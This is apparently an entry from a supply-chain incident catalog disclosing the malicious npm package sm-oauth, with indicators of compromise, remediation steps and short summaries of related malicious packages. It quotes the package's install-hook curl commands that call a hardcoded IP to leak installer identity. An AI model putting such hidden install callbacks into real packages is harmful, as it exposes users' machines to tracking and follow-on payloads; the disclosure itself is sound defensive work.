Malicious code in sm-oauth (npm)
The npm package sm-oauth contained malicious preinstall and postinstall scripts that executed curl commands to exfiltrate installer network identity to a hardcoded IP endpoint over plain HTTP. The package was identified as a dependency-confusion test artifact with no legitimate functionality.
- Disclosed
- Last updated
- Blast radius
- All npm users who installed sm-oauth
- Ecosystems
- Attack vectors
- Affected entities
- sm-oauthnpm package containing malicious preinstall and postinstall scripts
The npm package sm-oauth was found to contain malicious code in its package.json file. The package declared preinstall and postinstall scripts that executed curl -s http://16.192.173.5/sm-oauth/pre and curl -s http://16.192.173.5/sm-oauth/post on every npm install invocation.\n\nThese requests were sent to a hardcoded bare-IP endpoint over unencrypted HTTP, leaking the installer's network identity (source IP, install event, and request metadata) to the attacker-controlled endpoint. This also provided a channel for the operator to serve follow-on malicious content in the HTTP response.\n\nThe package's index.js file self-identified as a dependency-confusion test artifact and exported no functional library code. The package's sole behavior upon installation was to execute the outbound callback to the malicious endpoint.\n\nThe incident was identified and credited to the OpenSSF's malicious-packages repository.
Indicators of compromise
- Packages
- sm-oauth
- IPs
- 16.192.173.5
Remediation
- Remove sm-oauth from all npm installations immediately
- Audit npm install logs for any installations of sm-oauth to identify affected systems
- Review network logs for outbound HTTP connections to 16.192.173.5 during the period when sm-oauth was installed
- Regenerate any credentials or sensitive information that may have been exposed on systems where sm-oauth was installed
- Implement npm package verification and scanning in CI/CD pipelines to detect malicious packages before installation
Sources
- GitHub Advisory GHSA-7x7x-6w24-fch9 · GitHub Advisory Database
Cite this entry
"Malicious code in sm-oauth (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed August 24, 2026; last updated August 24, 2026. https://supplychainattack.org/incident/malicious-code-in-sm-oauth-npm-15yk4t
Suggest a correction
Found an error or have a newer source? Corrections to factual errors take priority over new entries.
Related incidents
- resolvedcritical
Malicious code in @syncraft-labs/core (npm)
The npm package @syncraft-labs/core contained obfuscated malicious code in its ESM build that executes on import, fetching and executing attacker-controlled payloads from Ethereum blockchain via JSON-RPC endpoints. The CommonJS build was clean, indicating targeted injection into the ESM entry point.
npmCompromised packageMalicious commit - resolvedcritical
Malicious code in rust-testing-utils (npm)
The npm package rust-testing-utils contained malicious code that impersonates the pino logger and executes remotely-fetched code with arbitrary privileges. The package spawns a child process that decodes a hardcoded URL, fetches attacker-controlled content, and executes it via Function constructor with full module-loading capability.
npmCompromised packageMalicious commit - resolvedcritical
Malicious code in commandor-core (npm)
commandor-core@1.0.0 on npm contained malicious code in its postinstall script that downloads and executes a Windows binary (main.exe) from a typosquatted domain and beacons host information to a hardcoded IP address.
npmCompromised packageMalicious commit - resolvedcritical
Malicious code in timed-assess (npm)
The npm package timed-assess contained malicious code in its postinstall script that automatically executed arbitrary JavaScript on installation. The script decrypted a bundled payload using a hardcoded DES key and spawned a detached Node.js process to execute attacker-controlled code.
npmCompromised packageMalicious commit